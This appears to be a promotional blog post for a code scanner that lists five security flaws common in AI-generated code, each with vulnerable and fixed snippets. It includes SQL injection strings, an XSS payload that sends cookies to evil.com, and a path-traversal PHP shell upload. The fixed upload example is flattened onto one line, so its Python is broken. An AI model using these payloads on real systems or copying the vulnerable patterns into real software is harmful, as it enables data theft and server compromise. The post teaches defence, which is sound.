After scanning thousands of code snippets submitted to VibeCheck, clear patterns have emerged. The same five security mistakes show up in the vast majority of AI-generated code — regardless of the AI tool used, the language chosen, or the experience level of the developer.
Here they are, ranked by how often we see them and how dangerous they are.
1. SQL Injection — The Classic That Won't Die
How often we see it: In roughly 40% of database-connected code snippets.
AI loves to write database queries with string concatenation. It's the first pattern it learned, and it keeps reaching for it:
python# What AI generates
query = "SELECT * FROM users WHERE email = '" + user_email + "'"
cursor.execute(query)This is textbook SQL injection. An attacker can input ' OR '1'='1 as the email and dump your entire user table. Or worse — '; DROP TABLE users; -- and your database is gone.
The fix is simple:
python# What it should be
cursor.execute("SELECT * FROM users WHERE email = %s", (user_email,))Parameterized queries. Every database library supports them. The AI knows about them too — it just doesn't default to them consistently.
2. Hardcoded Secrets
How often we see it: In roughly 35% of snippets that use external APIs.
This one is especially common in vibe-coded projects because the developer is moving fast and the AI obligingly generates code with placeholder secrets that look real:
javascriptconst stripe = require('stripe')('sk_live_abc123...');
const db = mysql.createConnection({
password: 'production_password_2026'
});These end up committed to git, pushed to GitHub (even private repos get compromised), and indexed by secret-scanning bots within minutes. We've seen live Stripe keys, AWS credentials, and database passwords in submitted code.
The fix: Environment variables. Every time.
javascriptconst stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);If your AI generates a hardcoded key, move it to .env immediately and add .env to your .gitignore.
3. Missing Authentication on Sensitive Routes
How often we see it: In roughly 30% of API endpoint code.
When you ask AI to "build an admin dashboard" or "create a delete user endpoint," it builds the functionality but forgets the lock. We regularly see code like:
javascriptapp.delete('/api/users/:id', async (req, res) => {
await db.query('DELETE FROM users WHERE id = ?', [req.params.id]);
res.json({ success: true });
});No auth check. No role verification. Anyone who hits that URL can delete any user. The AI built exactly what you asked for — a delete endpoint — but it didn't think about who should be allowed to use it.
The fix: Always wrap sensitive routes with auth middleware:
javascriptapp.delete('/api/users/:id', requireAuth, requireAdmin, async (req, res) => {
// Now only authenticated admins can reach this
});4. Cross-Site Scripting (XSS)
How often we see it: In roughly 25% of web application code that handles user input.
XSS happens when user input gets rendered as HTML without sanitization. AI-generated Express apps are particularly prone to this:
javascriptapp.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${query}</h1>`);
});An attacker can submit <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> as the search query and steal session cookies from anyone who clicks the link.
The fix: Escape HTML output or use a templating engine that escapes by default:
javascriptimport escape from 'escape-html';
app.get('/search', (req, res) => {
const query = escape(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});Modern frameworks like React and Next.js handle this automatically for JSX expressions, which is one reason they're safer defaults for vibe coding.
5. No Input Validation
How often we see it: In roughly 45% of all code that accepts user input — making it technically the most common, though often less immediately dangerous than the others.
AI-generated code tends to trust input completely. File uploads without type checking, form fields without length limits, API endpoints that accept any shape of data:
python@app.route('/upload', methods=['POST'])
def upload():
file = request.files['file']
file.save(os.path.join('/uploads', file.filename))
return 'Uploaded!'This code has no file type validation, no size limit, and uses the user-supplied filename directly — which means an attacker can upload a PHP shell as ../../../var/www/shell.php and potentially gain server access through path traversal.
The fix: Validate everything:
pythonALLOWED_EXTENSIONS = {'png', 'jpg', 'gif', 'pdf'}
MAX_SIZE = 5 * 1024 * 1024 # 5MB@app.route('/upload', methods=['POST']) def upload(): file = request.files['file'] if file.content_length > MAX_SIZE: abort(413) ext = file.filename.rsplit('.', 1)[-1].lower() if ext not in ALLOWED_EXTENSIONS: abort(400) safe_name = secure_filename(file.filename) file.save(os.path.join('/uploads', safe_name)) ```
The Pattern Behind the Patterns
All five of these mistakes share a common root cause: AI generates code that handles the happy path but ignores the adversarial path.
The AI doesn't think about attackers. It doesn't consider what happens when someone intentionally sends malformed input, calls endpoints they shouldn't have access to, or injects code where data should be. It builds features, not defenses.
This isn't a flaw in any specific AI tool. It's a fundamental limitation of code generation from natural language. When you say "build me a login page," the AI hears "login page" — not "login page that's resistant to brute force attacks, credential stuffing, session fixation, and timing attacks."
What to do about it
- Scan every piece of AI-generated code before deploying. VibeCheck catches all five of these patterns automatically.
- Be especially careful with code that touches databases, authentication, file systems, and user input. These are the four attack surfaces where AI makes the most mistakes.
- Don't assume "it works" means "it's secure." The most dangerous code is code that works perfectly — until someone exploits it.
- Learn the fixes, not just the patterns. Once you know that parameterized queries prevent SQL injection, you'll spot it yourself even before running a scanner.
The good news: these are all fixable. Usually in a few minutes. The key is knowing they're there.
---
Scan your code for free. Try VibeCheck — paste your code and get your Vibe Score in 10 seconds. Want to understand the scoring? Read what your Vibe Score actually means. Or if you're preparing to launch, learn about VibeCheck Certified — the trust layer for vibe-coded software.